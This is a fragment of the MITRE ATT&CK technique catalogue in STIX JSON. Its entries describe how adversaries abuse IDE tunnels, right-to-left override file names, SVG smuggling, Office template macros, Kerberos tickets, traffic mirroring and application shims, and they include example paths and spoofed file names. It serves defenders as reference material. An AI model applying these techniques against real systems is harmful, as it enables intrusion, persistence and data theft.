            "description": "Adversaries may abuse Integrated Development Environment (IDE) software with remote development features to establish an interactive command and control channel on target systems within a network. IDE tunneling combines SSH, port forwarding, file sharing, and debugging into a single secure connection, letting developers work on remote systems as if they were local. Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.(Citation: sentinelone operationDigitalEye Dec 2024)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Thornton tutorial VSCode shell September 2023)\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution. Compromised developer machines may also be exploited as jump hosts to move further into the network.\n\nIDE tunneling tools may be built-in or installed as [IDE Extensions](https://attack.mitre.org/techniques/T1176/002).",
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                    "phase_name": "command-and-control"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
            "created": "2020-02-10T19:55:29.385Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/002",
                    "external_id": "T1036.002"
                },
                {
                    "source_name": "Trend Micro PLEAD RTLO",
                    "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/"
                },
                {
                    "source_name": "Kaspersky RTLO Cyber Crime",
                    "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.",
                    "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
                },
                {
                    "source_name": "Infosecinstitute RTLO Technique",
                    "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.",
                    "url": "https://web.archive.org/web/20151102094333/https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"
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            "modified": "2026-05-12T15:12:00.643Z",
            "name": "Right-to-Left Override",
            "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \\u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
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            "x_mitre_is_subtechnique": true,
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                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
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            "name": "Malware",
            "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
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            "created": "2025-03-25T15:31:09.697Z",
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                {
                    "source_name": "Talos SVG Smuggling 2022",
                    "description": "Adam Katz and Jaeson Schultz. (2022, December 13). HTML smugglers turn to SVG images. Retrieved March 25, 2025.",
                    "url": "https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/"
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                {
                    "source_name": "Trustwave SVG Smuggling 2025",
                    "description": "Bernard Bautista and Kevin Adriano. (2025, April 10). Pixel-Perfect Trap: The Surge of SVG-Borne Phishing Attacks. Retrieved April 14, 2025.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pixel-perfect-trap-the-surge-of-svg-borne-phishing-attacks/"
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                    "source_name": "Bleeping Computer SVG Smuggling 2024",
                    "description": "Lawrence Abrams. (2024, November 17). Phishing emails increasingly use SVG attachments to evade detection. Retrieved March 25, 2025.",
                    "url": "https://www.bleepingcomputer.com/news/security/phishing-emails-increasingly-use-svg-attachments-to-evade-detection/"
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                    "description": "Max Gannon. (2024, March 13). SVG Files Abused in Emerging Campaigns. Retrieved March 25, 2025.",
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            "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. \n\nSVG smuggling can take a number of forms. For example, threat actors may include content that: \n\n* Assembles malicious payloads(Citation: Talos SVG Smuggling 2022)\n* Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024)\n* Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024)\n* Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024)\n\nSVG Smuggling may be used in conjunction with [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.  ",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "created": "2019-11-07T20:29:17.788Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1137/001",
                    "external_id": "T1137.001"
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                {
                    "source_name": "MSDN VBA in Office",
                    "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
                    "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
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                {
                    "source_name": "Hexacorn Office Template Macros",
                    "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
                },
                {
                    "source_name": "Microsoft Change Normal Template",
                    "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
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                    "source_name": "enigma0x3 normal.dotm",
                    "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
                    "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
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            "name": "Office Template Macros",
            "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
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                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
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                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
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                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
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                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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            "name": "Virtual Private Server",
            "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
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            "created": "2020-02-14T13:09:51.004Z",
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                {
                    "source_name": "Atlassian Confluence Logging",
                    "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
                    "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
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            "name": "Confluence",
            "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
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                    "url": "https://attack.mitre.org/techniques/T1550/003",
                    "external_id": "T1550.003"
                },
                {
                    "source_name": "Campbell 2014",
                    "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved November 17, 2024.",
                    "url": "https://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                },
                {
                    "source_name": "GentilKiwi Pass the Ticket",
                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20210515214027/https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                },
                {
                    "source_name": "ADSecurity AD Kerberos Attacks",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "url": "https://adsecurity.org/?p=556"
                },
                {
                    "source_name": "Stealthbits Overpass-the-Hash",
                    "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.",
                    "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"
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            "name": "Pass the Ticket",
            "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",
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            "x_mitre_contributors": [
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                    "url": "https://attack.mitre.org/techniques/T1609",
                    "external_id": "T1609"
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                {
                    "source_name": "Docker Exec",
                    "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/exec/"
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                    "source_name": "Docker Entrypoint",
                    "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"
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                    "source_name": "Docker Daemon CLI",
                    "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/dockerd/"
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                {
                    "source_name": "Kubectl Exec Get Shell",
                    "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
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                    "source_name": "Kubernetes Kubelet",
                    "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"
                },
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                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
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                    "external_id": "T1083"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "created": "2020-03-10T17:28:11.747Z",
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                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
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                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
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                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
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            "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
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                    "url": "https://attack.mitre.org/techniques/T1036/004",
                    "external_id": "T1036.004"
                },
                {
                    "source_name": "Fysbis Dr Web Analysis",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "url": "https://vms.drweb.com/virus/?i=4276269"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
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                    "source_name": "Systemd Service Units",
                    "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
                },
                {
                    "source_name": "TechNet Schtasks",
                    "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.",
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            "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)",
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            "created": "2020-01-14T01:29:43.786Z",
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                    "external_id": "T1055.004"
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                {
                    "source_name": "CyberBit Early Bird Apr 2018",
                    "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
                    "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
                },
                {
                    "source_name": "ENSIL AtomBombing Oct 2016",
                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
                },
                {
                    "source_name": "Microsoft Atom Table",
                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
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                    "source_name": "Microsoft APC",
                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
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                    "external_id": "T1020.001"
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                {
                    "source_name": "AWS Traffic Mirroring",
                    "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
                },
                {
                    "source_name": "Cisco Traffic Mirroring",
                    "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"
                },
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                    "source_name": "GCP Packet Mirroring",
                    "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
                    "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
                },
                {
                    "source_name": "Juniper Traffic Mirroring",
                    "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.",
                    "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"
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                {
                    "source_name": "Azure Virtual Network TAP",
                    "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
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                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.",
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                    "url": "https://attack.mitre.org/techniques/T1138",
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
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                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
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            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
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                    "source_name": "eset_osx_flashback",
                    "description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf"
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                    "source_name": "fileinfo plist file description",
                    "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.",
                    "url": "https://fileinfo.com/extension/plist"
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                    "source_name": "wardle chp2 persistence",
                    "description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022.",
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            "created": "2025-03-21T13:36:48.710Z",
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                    "source_name": "Cyble",
                    "description": "Cyble. (2024, September 9). Reputation Hijacking with JamPlus: A Maneuver to Bypass Smart App Control (SAC). Retrieved March 21, 2025.",
                    "url": "https://cyble.com/blog/reputation-hijacking-with-jamplus-a-maneuver-to-bypass-smart-app-control-sac/"
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                    "source_name": "Elastic Security Labs",
                    "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.",
                    "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control"
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                    "source_name": "JamPlus manual",
                    "description": "Perforce Software, Inc.. (n.d.). JamPlus manual: Quick Start Guide. Retrieved March 21, 2025.",
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                {
                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html"
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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                    "url": "https://attack.mitre.org/techniques/T1191",
                    "external_id": "T1191"
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                {
                    "source_name": "Microsoft Connection Manager Oct 2009",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)"
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                {
                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
                    "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"
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                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
                },
                {
                    "source_name": "Twitter CMSTP Jan 2018",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
                    "url": "https://twitter.com/NickTyrer/status/958450014111633408"
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                {
                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
                },
                {
                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
                    "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
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                {
                    "source_name": "Mac Forwarding Rules",
                    "description": "Apple. (n.d.). Reply to, forward, or redirect emails in Mail on Mac. Retrieved June 22, 2021.",
                    "url": "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac"
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                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
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                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
